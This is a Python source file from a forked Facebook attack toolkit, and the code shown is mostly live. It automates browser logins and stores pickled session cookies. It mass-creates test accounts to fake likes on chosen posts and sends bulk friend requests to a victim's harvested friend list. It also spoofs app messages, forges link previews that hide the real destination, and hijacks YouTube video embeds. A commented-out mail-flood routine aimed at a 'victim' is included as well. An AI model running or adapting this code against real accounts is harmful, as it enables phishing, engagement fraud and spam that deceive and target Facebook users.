forked from chinoogawa/fbht
-
Notifications
You must be signed in to change notification settings - Fork 0
/
mainFunc.py
executable file
·3390 lines (2932 loc) · 128 KB
/
mainFunc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import sys,os
from platform import system
from getpass import getpass
from mainLib import *
import MyParser
from urllib import urlencode
import simplejson as json
import database
from time import time,ctime,sleep
import pickle
import re
from handlers import *
import signal
import networkx as nx
import matplotlib.pyplot as plt
import numpy as np
import community
from networkx.drawing.nx_agraph import write_dot
from base64 import b64encode
import logging
from mechanize import Request
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import datetime
from random import shuffle
blocked = 0
masterCj = ''
def flush():
if system() == 'Linux':
sys.stdout.flush()
def setGlobalLogginng():
global globalLogging
globalLogging = not globalLogging
message = 'logging level set to %s' %globalLogging
logs(message)
raw_input(message + ' Press enter to continue')
def setMail():
email = raw_input("Enter the email: ")
password = getpass("Enter the Password: ")
return email, password
def login(email, password,state):
global blocked
cookieHandler = customCookies()
# Empty the cookies
cj.clear()
# Access the login page to get the forms
profile = webdriver.FirefoxProfile()
profile.set_preference("general.useragent.override", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36")
driver = webdriver.Firefox(profile)
driver.get("https://www.facebook.com/")
assert "Facebook" in driver.title
elem = driver.find_element_by_name("email")
elem.send_keys(email)
elem = driver.find_element_by_name("pass")
elem.send_keys(password)
elem.send_keys(Keys.RETURN)
all_cookies = driver.get_cookies()
pickle.dump( driver.get_cookies() , open("cookies.pkl","wb"))
assert "No results found." not in driver.page_source
driver.close()
for s_cookie in all_cookies:
cj.set_cookie(cookielib.Cookie(version = 0, name = s_cookie['name'], value = s_cookie['value'], port = '80', port_specified = False, domain = s_cookie['domain'], domain_specified = True, domain_initial_dot = False, path = s_cookie['path'], path_specified = True, secure = s_cookie['secure'], expires = s_cookie['expiry'], discard = False, comment = None, comment_url = None, rest = None, rfc2109 = False))
try:
if cookieHandler.isLogged(cj) == True:
#Checkpoint exists (?)
if cookieHandler.checkPoint(cj) == True:
blocked = 1
print 'Error - Checkpoint reached, your account may be blocked'
return -1
# Assign cookies to array
if state != 'real':
cookieArray.append(cj._cookies)
else:
logs('Logging failed')
print '\rLogging failed, check credentials and try again\r'
return -1
except signalCaught as e:
deleteUser(10)
message = '%s catch from login' %e.args[0]
logs(str(message))
print '%s \n' %message
raw_input('Press enter to continue')
return
def set_dtsg():
n = 0
flag = False
try:
response = br.open('https://www.facebook.com/')
''' Old dtsg set module..
for form in br.forms():
for control in form.controls:
if control.name == 'fb_dtsg':
flag = True
break
n += 1
if flag: break
br.select_form(nr=n-1) '''
if globalLogging:
logs(response.read())
except mechanize.HTTPError as e:
logs(e.code)
print e.code
except mechanize.URLError as e:
logs(e.reason.args)
print e.reason.args
except:
logs('Error in the dtsg set module')
print '\rTrying to set dtsg \r'
return workarounddtsg()
def workarounddtsg():
try:
response = br.open('https://www.facebook.com/')
parse = response.read()
match = re.search("\"fb_dtsg\"", parse)
matchBis = re.search("value=\"",parse[match.end():])
matchBisBis = re.search("\"",parse[match.end()+matchBis.end():])
fb_dtsg = parse[match.end()+matchBis.end():match.end()+matchBis.end()+matchBisBis.start()]
return fb_dtsg
except:
print 'error'
return 0
def getC_user():
# Get the c_user value from the cookie
#Filtramos la cookie para obtener el nombre de usuario
for cookie in cj:
if (cookie.name == 'c_user'):
c_user = cookie.value
return str(c_user)
def createUser(number):
fb_dtsg = set_dtsg()
if (fb_dtsg == 0):
print 'ERROR MOTHER FUCKER -_-'
c_user = getC_user()
arguments = {
'__user' : c_user,
'__a' : '1',
'__dyn' : '798aD5z5zufEa0',
'__req' : '4',
'fb_dtsg' : fb_dtsg,
'phstamp' : '16581655751108754574',
}
datos = urlencode(arguments)
userRaw = []
percentage = 0.0
print 'Creating Test Users .. '
for i in range(int(number)):
try:
response = br.open('https://www.facebook.com/ajax/whitehat/create_test_user.php',datos)
userRaw.append(str(response.read()))
percentage = (i * 100.0) / int(number)
flush()
print '\rCompleted [%.2f%%]\r'%percentage,
sleep(60)
except mechanize.HTTPError as e:
logs(str(e.code) + ' on iteration ' + str(i))
print str(e.code) + ' on iteration %d'%i
except mechanize.URLError as e:
logs(str(e.reason.args) + ' on iteration ' + str(i))
print str(e.reason.args) + ' on iteration %d'%i
except signalCaught as e:
raise signalCaught(str(e.args[0])+' handling from createUser.. ')
except:
logs('Error in create module on iteration ' + str(i))
print '\r \r',
print '\rError in create module on iteration %d\r' %i,
fullFlag = MyParser.parseData(userRaw)
return fullFlag
'''
def deleteUser():
#Number is the max amount of test user accounts - Modify this value if the platform change
number = 10
itemNum = 0
users = []
ids = []
try:
request = br.open("https://www.facebook.com/whitehat/accounts/")
except mechanize.HTTPError as e:
logs(str(e.code) + ' on deleteUser module')
print str(e.code) + ' on deleteUser module'
except mechanize.URLError as e:
logs(str(e.reason.args) + ' on deleteUser module')
print str(e.reason.args) + ' on deleteUser module'
i = 0
for form in br.forms():
try:
form.find_control('selected_test_users[]').items
br.select_form(nr=i)
break
except:
i += 1
continue
try:
for item in br.form.find_control('selected_test_users[]').items:
users.append(item.name)
br.form.find_control('selected_test_users[]').items[itemNum].selected = True
itemNum += 1
string = list(br.forms())[1]['fb_dtsg']
i = 0
dictioUser = {'fb_dtsg':str(string)}
for parameters in users:
if (i <= number):
dictioUser['selected_test_users['+str(i)+']'] = parameters
i += 1
for elements in dictioUser:
ids.append(str(dictioUser[str(elements)]))
dictioUser['__user'] = str(getC_user())
dictioUser['__a'] = '1'
dictioUser['__dyn'] = '7n8ahyj35zolgDxqihXzA'
dictioUser['__req'] = 'a'
dictioUser['phstamp'] = '1658168991161218151159'
datos = urlencode(dictioUser)
response = br.open('https://www.facebook.com/ajax/whitehat/delete_test_users.php',datos)
if globalLogging:
logs(request.read())
logs(response.read())
except:
logs('No users for eliminate')
print '\rNo users for eliminate\r'
'''
def deleteUser(appId):
''' Selects the fb_dtsg form '''
fb_dtsg = set_dtsg()
if (fb_dtsg == 0):
print 'ERROR MOTHER FUCKER -_-'
arguments = {
'__user' : str(getC_user()),
'__a' : '1',
'__dyn' : '7w86i3S2e4oK4pomXWo5O12wYw',
'__req' : '4',
'fb_dtsg' : fb_dtsg,
'ttstamp' : '26581718683108776783808786',
'__rev' : '1409158'
}
testUserID = database.getUsers()
for n in len(testUserID[0]):
arguments['test_user_ids['+str(n)+']'] = str(testUserID[0][n])
datos = urlencode(arguments)
try:
response = br.open('https://developers.facebook.com/apps/async/test-users/delete/?app_id='+appId,datos)
if globalLogging:
logs(response.read())
except:
logs('Error deleting users')
print 'Error deleting users \n'
def massLogin():
i = int(0)
people = database.getUsersNotLogged()
#Flush
print '\r \r',
loadPersistentCookie()
for person in people:
#login
rsp = login(str(person[0]),str(person[3]),'test')
#percentage
i+=1
percentage = (i * 100.0) / len(people)
flush()
print '\rCompleted [%.2f%%]\r'%percentage,
if rsp == -1:
database.removeTestUsers(person[0])
savePersistentCookie()
def friendshipRequest():
if (len(cookieArray) == 1):
massLogin()
userID = database.getUsers()
for cookies in range(len(cookieArray)):
cj._cookies = cookieArray[cookies]
c_user = getC_user()
users = 0
for person in userID:
'''---------------------Comienza el envio de solicitudes ... ----------------------- '''
if users > cookies:
sendRequest(person[0],c_user)
users += 1
def sendRequest(userID,c_user):
''' Selects the fb_dtsg form '''
fb_dtsg = set_dtsg()
if (fb_dtsg == 0):
print 'ERROR MOTHER FUCKER -_-'
arguments = {
'to_friend' : userID,
'action' : 'add_friend',
'how_found' : 'profile_button',
'ref_param' : 'none',
'link_data[gt][profile_owner]' : userID,
'link_data[gt][ref]' : 'timeline:timeline',
'outgoing_id' : '',
'logging_location' : '',
'no_flyout_on_click' : 'true',
'ego_log_data' : '',
'http_referer' : '',
'__user' : c_user,
'__a' : '1',
'__dyn' : '7n8aD5z5zu',
'__req' : 'n',
'fb_dtsg' : fb_dtsg,
'phstamp' : '1658165688376111103320'
}
datos = urlencode(arguments)
try:
response = br.open('https://www.facebook.com/ajax/add_friend/action.php',datos)
if globalLogging:
logs(response.read())
print 'Friend Request sent from %s to %s! \n' %(c_user,userID)
except:
logs('Error sending request ')
print 'Error sending request \n'
def sendRequestToList(victim):
root = 'dumps'
directory = victim
friends = []
frieds_send = []
count = 0
number = raw_input('Insert the amount of requests to send: ')
try:
try:
persons = open( os.path.join(root,directory,victim+".txt"),"rb" )
except:
logs('Friend file not found')
print 'Friend file not found'
return
try:
persons_send = open( os.path.join(root,directory,victim+"_friend_send.txt"),"rb")
while True:
linea = persons_send.readline()
if not linea:
break
frieds_send.append(linea.strip("\n\r"))
persons_send.close()
persons_send = open(os.path.join(root,directory,victim+"_friend_send.txt"),"ab")
except:
persons_send = open(os.path.join(root,directory,victim+"_friend_send.txt"),"wb")
while True:
linea = persons.readline()
if not linea:
break
friends.append(linea.strip("\n\r"))
i = 0.0
percentage = 0.0
print 'Sending friend requests'
for userID in friends:
if userID not in frieds_send:
#Escape condition
if count > int(number):
persons_send.close()
return
count += 1
''' Selects the fb_dtsg form '''
fb_dtsg = set_dtsg()
if (fb_dtsg == 0):
print 'ERROR MOTHER FUCKER -_-'
c_user = getC_user()
arguments = {
'to_friend' : userID,
'action' : 'add_friend',
'how_found' : 'profile_button',
'ref_param' : 'none',
'link_data[gt][profile_owner]' : userID,
'link_data[gt][ref]' : 'timeline:timeline',
'outgoing_id' : '',
'logging_location' : '',
'no_flyout_on_click' : 'true',
'ego_log_data' : '',
'http_referer' : '',
'__user' : c_user,
'__a' : '1',
'__dyn' : '7n8aD5z5zu',
'__req' : 'n',
'fb_dtsg' : fb_dtsg,
'ttstamp' : '265817211599516953787450107',
}
datos = urlencode(arguments)
try:
response = br.open('https://www.facebook.com/ajax/add_friend/action.php',datos)
#percentage
percentage = (i * 100.0) / len(friends)
i+=1
flush()
print '\rCompleted [%.2f%%]\r'%percentage,
if globalLogging:
logs(response.read())
print 'Friend Request sent from %s to %s! \n' %(c_user,userID)
persons_send.write(userID+'\n')
except:
logs('Error sending request ')
print 'Error sending request \n'
except signalCaught as e:
message = '%s catch from send request module' %e.args[0]
logs(str(message))
print '%s \n' %message
persons_send.close()
raw_input('Press enter to continue')
return
def acceptRequest():
initAccept()
acceptIDS = MyParser.parsePending()
while len(acceptIDS) != 0:
for elements in acceptIDS:
fb_dtsg = set_dtsg()
if (fb_dtsg == 0):
print 'ERROR MOTHER FUCKER -_-'
arguments = {
'action' : 'confirm',
'id' : elements,
'ref' : '%2Freqs.php',
'__user' : getC_user(),
'__a' : '1',
'__dyn' : '7n8aD5z5zu',
'__req' : 'm',
'fb_dtsg' : fb_dtsg,
'phstamp' : '165816867997811675120'
}
datos = urlencode(arguments)
response = br.open('https://www.facebook.com/requests/friends/ajax/ ',datos)
if globalLogging:
logs(response.read())
print 'Accept done! \n'
initAccept()
acceptIDS = MyParser.parsePending()
def initAccept():
f = open("respuesta.html","wb")
response = br.open('https://www.facebook.com/friends/requests/')
''' Se guarda el output de la respuesta html para ser parseada y filtrar los ID's '''
f.write(response.read())
f.close()
def savePersistentCookie():
f = open("cookiesObject","wb")
pickle.dump(cookieArray,f)
f.close()
for element in cookieArray:
cj._cookies = element
for cookie in cj:
if (cookie.name == 'c_user'):
c_user = cookie.value
database.setLogged(c_user)
def loadPersistentCookie():
global cookieArray
try:
f = open("cookiesObject","r")
cookieArray = pickle.load(f)
i = 0
''' Se limpian las cookies que no sirven - se filtra el id para cambiar su estado a logged = 0 '''
for cookie in cookieArray:
cj._cookies = cookie
for element in cj:
if (element.name == 'checkpoint'):
strip = str(element.value).strip("%7B%22u%22%3A")
removeId = strip.split("%2C%22t%22%3A")[0]
database.setLoggedOut(removeId)
del cookieArray[i]
i+=1
except:
return
def deleteAccounts():
people = database.getUsers()
for person in people:
database.removeTestUsers(person[0])
cookieArray[:] = []
def like(postId, quantity):
signal.signal(signal.SIGINT, signal_handler)
try:
email,password = setMail()
if (login(email,password,'real') is not -1):
#Cookie of the real account
masterCookie = cj._cookies
times = int(quantity) / 10
for i in range(times):
cj._cookies = masterCookie
#Check if users already exists
if ( createUser(10) == -1 ):
#Delete existing users and re-execute the create module
deleteUser()
deleteAccounts()
createUser(10)
massLogin()
#Percentage container
percentage = 0.0
j = 0.0
total = len(cookieArray) * len(postId)
#flush
print '\r \r',
for i in range(len(cookieArray)):
for post in range(len(postId)):
cj._cookies = cookieArray[i]
c_user = getC_user()
try:
fb_dtsg = set_dtsg()
if (fb_dtsg == 0):
print 'ERROR MOTHER FUCKER -_-'
arguments = {
'like_action' : 'true',
'ft_ent_identifier' : str(postId[post]),
'source' : '0',
'client_id' : str(c_user)+'%3A4047576437',
'rootid' : 'u_0_2o',
'giftoccasion' : '',
'ft[tn]' : '%3E%3D',
'ft[type]' : '20',
'nctr[_mod]' : 'pagelet_timeline_recent',
'__user' : c_user,
'__a' : '1',
'__dyn' : '7n8ahyj35ym3KiA',
'__req' : 'c',
'fb_dtsg' : fb_dtsg,
'phstamp' : '165816595797611370260',
}
datos = urlencode(arguments)
response = br.open('https://www.facebook.com/ajax/ufi/like.php',datos)
if globalLogging:
logs(response.read())
percentage = (j * 100.0)/total
flush()
print '\r[%.2f%%] of likes completed\r' %(percentage),
j+=1
except mechanize.HTTPError as e:
print e.code
except mechanize.URLError as e:
print e.reason.args
except:
print 'Unknown error'
cj._cookies = masterCookie
deleteUser()
deleteAccounts()
raw_input('Finished like() module, press enter to continue')
except signalCaught as e:
deleteUser()
message = '%s catch from create module' %e.args[0]
logs(str(message))
print '%s \n' %message
raw_input('Press enter to continue')
return
def appMessageSpoof(appId,link,picture,title,domain,description,comment):
c_user = getC_user()
print str(c_user)+'\n'
try:
fb_dtsg = set_dtsg()
if (fb_dtsg == 0):
print 'ERROR MOTHER FUCKER -_-'
arguments = {
'fb_dtsg' : fb_dtsg,
'preview' : '0',
'_path' : 'feed',
'app_id' : int(appId),
'redirect_uri' : 'https://facebook.com/',
'display' : 'page',
'link' : str(link),
'picture' : str(picture),
'name' : str(title),
'caption' : str(domain),
'description' : str(description),
'from_post' : '1',
'feedform_user_message' : str(comment),
'publish' : 'Share',
'audience[0][value]' : '80',
}
datos = urlencode(arguments)
response = br.open('https://www.facebook.com/v2.0/dialog/feed',datos)
if globalLogging:
logs(response.read())
except:
logs('Error en el modulo de appMessageSpoof()')
print 'Error en el modulo de appMessageSpoof()\n'
def linkPreviewYoutube(link,videoLink,title,summary,comment,videoID, privacy):
c_user = getC_user()
print str(c_user)+'\n'
try:
fb_dtsg = set_dtsg()
if (fb_dtsg == 0):
print 'ERROR MOTHER FUCKER -_-'
arguments = {
'fb_dtsg' : fb_dtsg,
'composer_session_id' : '38c20e73-acfc-411a-8313-47c095b01e42',
'xhpc_context' : 'profile',
'xhpc_ismeta' : '1',
'xhpc_timeline' : '1',
'xhpc_composerid' : 'u_0_29',
'xhpc_targetid' : str(c_user),
'clp' : '{ cl_impid : 65ac6257 , clearcounter :0, elementid : u_0_2n , version : x , parent_fbid :'+str(c_user)+'}',
'xhpc_message_text' : str(comment),
'xhpc_message' : str(comment),
'aktion' : 'post',
'app_id' : '2309869772',
'attachment[params][urlInfo][canonical]' : str(videoLink),
'attachment[params][urlInfo][final]' : str(videoLink),
'attachment[params][urlInfo][user]' : str(link),
'attachment[params][favicon]' : 'http://s.ytimg.com/yts/img/favicon_32-vflWoMFGx.png',
'attachment[params][title]' : str(title),
'attachment[params][summary]' : str(summary),
'attachment[params][images][0]' : 'http://i2.ytimg.com/vi/'+videoID+'/mqdefault.jpg?feature=og',
'attachment[params][medium]' : '103',
'attachment[params][url]' : str(videoLink),
'attachment[params][video][0][type]' : 'application/x-shockwave-flash',
'attachment[params][video][0][src]' : 'http://www.youtube.com/v/FxyecjOQXnI?autohide=1&version=3&autoplay=1',
'attachment[params][video][0][width]' : '1280',
'attachment[params][video][0][height]' : '720',
'attachment[params][video][0][safe]' : '1',
'attachment[type]' : '100',
'link_metrics[source]' : 'ShareStageExternal',
'link_metrics[domain]' : 'www.youtube.com',
'link_metrics[base_domain]' : 'youtube.com',
'link_metrics[title_len]' : '92',
'link_metrics[summary_len]' : '160',
'link_metrics[min_dimensions][0]' : '70',
'link_metrics[min_dimensions][1]' : '70',
'link_metrics[images_with_dimensions]' : '1',
'link_metrics[images_pending]' : '0',
'link_metrics[images_fetched]' : '0',
'link_metrics[image_dimensions][0]' : '1280',
'link_metrics[image_dimensions][1]' : '720',
'link_metrics[images_selected]' : '1',
'link_metrics[images_considered]' : '1',
'link_metrics[images_cap]' : '10',
'link_metrics[images_type]' : 'images_array',
'composer_metrics[best_image_w]' : '398',
'composer_metrics[best_image_h]' : '208',
'composer_metrics[image_selected]' : '0',
'composer_metrics[images_provided]' : '1',
'composer_metrics[images_loaded]' : '1',
'composer_metrics[images_shown]' : '1',
'composer_metrics[load_duration]' : '1058',
'composer_metrics[timed_out]' : '0',
'composer_metrics[sort_order]' : '',
'composer_metrics[selector_type]' : 'UIThumbPager_6',
'backdated_date[year]' : '',
'backdated_date[month]' : '',
'backdated_date[day]' : '',
'backdated_date[hour]' : '',
'backdated_date[minute]' : '',
'is_explicit_place' : '',
'composertags_place' : '',
'composertags_place_name' : '',
'tagger_session_id' : '1394761251',
'action_type_id[0]' : '',
'object_str[0]' : '',
'object_id[0]' : '',
'og_location_id[0]' : '',
'hide_object_attachment' : '0',
'og_suggestion_mechanism' : '',
'composertags_city' : '',
'disable_location_sharing' : 'false',
'composer_predicted_city' : '',
'audience[0][value]' : privacy,
'nctr[_mod]' : 'pagelet_timeline_recent',
'__user' : str(c_user),
'__a' : '1',
'__dyn' : '7n8aqEAMBlCFUSt2u6aOGeExEW9ACxO4pbGA8AGGzCAjFDxCm',
'__req' : 'm',
'ttstamp' : '26581658074898653',
'__rev' : '1161243',
}
datos = urlencode(arguments)
response = br.open('https://www.facebook.com/ajax/updatestatus.php',datos)
if globalLogging:
logs(response.read())
except mechanize.HTTPError as e:
print e.code
except mechanize.URLError as e:
print e.reason.args
except:
logs('Error en el modulo de linkPreviewYoutube()')
print 'Error en el modulo de linkPreviewYoutube()\n'
def linkPreview(link,realLink,title,summary,comment,image,privacy):
c_user = getC_user()
print str(c_user)+'\n'
try:
fb_dtsg = set_dtsg()
if (fb_dtsg == 0):
print 'ERROR MOTHER FUCKER -_-'
arguments = {
'composer_session_id' : '787d2fec-b5c1-41fe-bbda-3450a03240c6',
'fb_dtsg' : fb_dtsg,
'xhpc_context' : 'profile',
'xhpc_ismeta' : '1',
'xhpc_timeline' : '1',
'xhpc_composerid' : 'u_0_29',
'xhpc_targetid' : str(c_user),
'clp' : '{"cl_impid":"27c5e963","clearcounter":0,"elementid":"u_0_2n","version":"x","parent_fbid":'+str(c_user)+'}',
'xhpc_message_text' : str(comment),
'xhpc_message' : str(comment),
'aktion' : 'post',
'app_id' : '2309869772',
'attachment[params][urlInfo][canonical]' : str(realLink),
'attachment[params][urlInfo][final]' : str(realLink),
'attachment[params][urlInfo][user]' : str(link),
'attachment[params][favicon]' : str(realLink)+'/images/favicon.ico',
'attachment[params][title]' : str(title),
'attachment[params][summary]' : str(summary),
'attachment[params][images][0]' : str(image),
'attachment[params][medium]' : '106',
'attachment[params][url]' : str(realLink),
'attachment[type]' : '100',
'link_metrics[source]' : 'ShareStageExternal',
'link_metrics[domain]' : str(realLink),
'link_metrics[base_domain]' : str(realLink),
'link_metrics[title_len]' : '38',
'link_metrics[summary_len]' : '38',
'link_metrics[min_dimensions][0]' : '70',
'link_metrics[min_dimensions][1]' : '70',
'link_metrics[images_with_dimensions]' : '3',
'link_metrics[images_pending]' : '0',
'link_metrics[images_fetched]' : '0',
'link_metrics[image_dimensions][0]' : '322',
'link_metrics[image_dimensions][1]' : '70',
'link_metrics[images_selected]' : '1',
'link_metrics[images_considered]' : '5',
'link_metrics[images_cap]' : '3',
'link_metrics[images_type]' : 'ranked',
'composer_metrics[best_image_w]' : '100',
'composer_metrics[best_image_h]' : '100',
'composer_metrics[image_selected]' : '0',
'composer_metrics[images_provided]' : '1',
'composer_metrics[images_loaded]' : '1',
'composer_metrics[images_shown]' : '1',
'composer_metrics[load_duration]' : '812',
'composer_metrics[timed_out]' : '0',
'composer_metrics[sort_order]' : '',
'composer_metrics[selector_type]' : 'UIThumbPager_6',
'backdated_date[year]' : '',
'backdated_date[month]' : '',
'backdated_date[day]' : '',
'backdated_date[hour]' : '',
'backdated_date[minute]' : '',
'is_explicit_place' : '',
'composertags_place' : '',
'composertags_place_name' : '',
'tagger_session_id' : '1394765332',
'action_type_id[0]' : '',
'object_str[0]' : '',
'object_id[0]' : '',
'og_location_id[0]' : '',
'hide_object_attachment' : '0',
'og_suggestion_mechanism' : '',
'composertags_city' : '',
'disable_location_sharing' : 'false',
'composer_predicted_city' : '',
'audience[0][value]' : privacy,
'nctr[_mod]' : 'pagelet_timeline_recent',
'__user' : str(c_user),
'__a' : '1',
'__dyn' : '7n8aqEAMBlCFUSt2u6aOGeExEW9ACxO4pbGA8AGGzCAjFDxCm',
'__req' : 'h',
'ttstamp' : '26581658074898653',
'__rev' : '1161243'
}
datos = urlencode(arguments)
response = br.open('https://www.facebook.com/ajax/updatestatus.php',datos)
if globalLogging:
logs(response.read())
except mechanize.HTTPError as e:
print e.code
except mechanize.URLError as e:
print e.reason.args
except:
logs('Error en el modulo de linkPreview()')
print 'Error en el modulo de linkPreview()\n'
def hijackVideo(videoLink,title,summary,comment,videoID,hijackedVideo,privacy):
c_user = getC_user()
print str(c_user)+'\n'
try:
fb_dtsg = set_dtsg()
if (fb_dtsg == 0):
print 'ERROR MOTHER FUCKER -_-'
arguments = {
'composer_session_id' : '8c4e1fa6-5f1f-4c16-b393-5c1ab4c3802b',
'fb_dtsg' : fb_dtsg,
'xhpc_context' : 'profile',
'xhpc_ismeta' : '1',
'xhpc_timeline' : '1',
'xhpc_composerid' : 'u_0_23',
'xhpc_targetid' : str(c_user),
'clp' : '{"cl_impid":"4b4a8369","clearcounter":0,"elementid":"u_0_2h","version":"x","parent_fbid":'+str(c_user)+'}',
'xhpc_message_text' : str(comment),
'xhpc_message' : str(comment),
'aktion' : 'post',
'app_id' : '2309869772',
'attachment[params][urlInfo][canonical]' : str(videoLink),
'attachment[params][urlInfo][final]' : str(videoLink),
'attachment[params][urlInfo][user]' : str(videoLink),
'attachment[params][favicon]' : 'http://s.ytimg.com/yts/img/favicon_32-vflWoMFGx.png',
'attachment[params][title]' : str(title),
'attachment[params][summary]' : str(summary),
'attachment[params][images][0]' : 'http://i2.ytimg.com/vi/'+videoID+'/mqdefault.jpg?feature=og',
'attachment[params][medium]' : '103',
'attachment[params][url]' : str(videoLink),
'attachment[params][video][0][type]' : 'application/x-shockwave-flash',
'attachment[params][video][0][src]' : 'http://www.youtube.com/v/'+str(hijackedVideo)+'?version=3&autohide=1&autoplay=1',
'attachment[params][video][0][width]' : '1920',
'attachment[params][video][0][height]' : '1080',
'attachment[params][video][0][safe]' : '1',
'attachment[type]' : '100',
'link_metrics[source]' : 'ShareStageExternal',
'link_metrics[domain]' : 'www.youtube.com',
'link_metrics[base_domain]' : 'youtube.com',
'link_metrics[title_len]' : str(len(title)),
'link_metrics[summary_len]' : str(len(summary)),
'link_metrics[min_dimensions][0]' : '62',
'link_metrics[min_dimensions][1]' : '62',
'link_metrics[images_with_dimensions]' : '1',
'link_metrics[images_pending]' : '0',
'link_metrics[images_fetched]' : '0',
'link_metrics[image_dimensions][0]' : '1920',
'link_metrics[image_dimensions][1]' : '1080',
'link_metrics[images_selected]' : '1',
'link_metrics[images_considered]' : '1',
'link_metrics[images_cap]' : '10',
'link_metrics[images_type]' : 'images_array',
'composer_metrics[best_image_w]' : '154',
'composer_metrics[best_image_h]' : '154',
'composer_metrics[image_selected]' : '0',
'composer_metrics[images_provided]' : '1',
'composer_metrics[images_loaded]' : '1',
'composer_metrics[images_shown]' : '1',
'composer_metrics[load_duration]' : '1184',
'composer_metrics[timed_out]' : '0',
'composer_metrics[sort_order]' : '',
'composer_metrics[selector_type]' : 'UIThumbPager_6',
'backdated_date[year]' : '',
'backdated_date[month]' : '',
'backdated_date[day]' : '',
'backdated_date[hour]' : '',
'backdated_date[minute]' : '',
'is_explicit_place' : '',
'composertags_place' : '',
'composertags_place_name' : '',
'tagger_session_id' : '1399663185',
'action_type_id[0]' : '',
'object_str[0]' : '',
'object_id[0]' : '',
'og_location_id[0]' : '',
'hide_object_attachment' : '0',
'og_suggestion_mechanism' : '',
'composertags_city' : '',
'disable_location_sharing' : 'false',
'composer_predicted_city' : '',
'audience[0][value]' : str(privacy),
'nctr[_mod]' : 'pagelet_timeline_recent',
'__user' : str(c_user),
'__a' : '1',
'__dyn' : '7n8ajEAMBlynzpQ9UoGya4Cq7pEsx6iWF29aGEZ94WpUpBxCFaG',
'__req' : 'g',
'ttstamp' : '265817289113541097355755354',
'__rev' : '1241763',
}
datos = urlencode(arguments)
response = br.open('https://www.facebook.com/ajax/updatestatus.php',datos)
if globalLogging:
logs(response.read())
except:
logs('Error en el modulo de linkPreviewYoutube()')
print 'Error en el modulo de linkPreviewYoutube()\n'
#########################################
#Vulnerability no longer available
#########################################
#def mailFlood(victim,message):
# for cookies in cookieArray:
# print cookies
# cj._cookies = cookies
# c_user = getC_user()
# print str(c_user)+'\n'
# try:
# set_dtsg()
# arguments = {
# 'message_batch[0][action_type]' : 'ma-type:user-generated-message',
# 'message_batch[0][thread_id]' : '',
# 'message_batch[0][author]' : 'fbid:'+str(c_user),
# 'message_batch[0][author_email]' : '',
# 'message_batch[0][coordinates]' : '',
# 'message_batch[0][timestamp]' : '1372638156169',
# 'message_batch[0][timestamp_absolute]' : 'Hoy',
# 'message_batch[0][timestamp_relative]' : '21:22',
